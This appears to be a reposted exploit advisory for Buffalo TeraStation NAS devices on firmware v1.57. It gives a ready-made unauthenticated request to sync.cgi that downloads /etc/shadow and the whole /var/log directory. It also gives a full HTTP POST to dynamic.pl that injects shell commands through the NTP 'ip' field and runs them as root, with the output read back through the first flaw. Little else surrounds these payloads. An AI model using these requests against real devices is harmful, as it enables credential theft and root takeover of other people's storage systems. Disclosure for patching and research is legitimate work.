Buffalo TeraStation TS-Series multiple vulnerabilities

Buffalo's TeraStation network attached storage (NAS) solutions offer
centralized storage and backup for home, small office and business
needs.
 
The firmware is based on Linux ARM and most of the internal software
is written using Perl.
 
The vulnerabilities that I found allows any unauthenticated attacker
to access arbitrary files on the NAS filesystem and execute system
commands with root privileges.
 
Tested successfully on TS-XL, TS-RXL, TS-WXL, TS-HTGL/R5, TS-XEL with
the latest firmware installed (v1.57). Surely other versions with the
same firmware are vulnerable.
 
1]======== sync.cgi unauthenticated arbitrary file download ========
Requesting an unprotected cgi, it's possible, for an unauthenticated
user, to download any system file, included /etc/shadow, that contains
the password shadows for the application/system users.
 
/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=/etc/shadow
 
Moreover, using the key "all" it's possible to download the entire
/var/log directory:
 
/cgi-bin/sync.cgi?gSSS=foo&gRRR=foo&gPage=information&gMode=log&gType=save&gKey=all
 
2]======== dynamic.pl NTP command injection ========
This vulnerability allows authenticated users to execute arbitrary
commands on the system with root privileges.
 
This is a sample request:
#####################################
POST /dynamic.pl HTTP/1.1
Content-Length: 89
Cookie: webui_session_admin=xxxxxxxxxxxxxxxxxxxxxx_en_0
 
bufaction=setDTSettings&dateMethod=on
&ip=www.google.it%26%26[COMMAND]>/tmp/output
&syncFreq=1d
#####################################
 
It's possible to view the command output using the previous
vulnerability (reading the /tmp/output file).

#  0day.today [2018-04-08]  #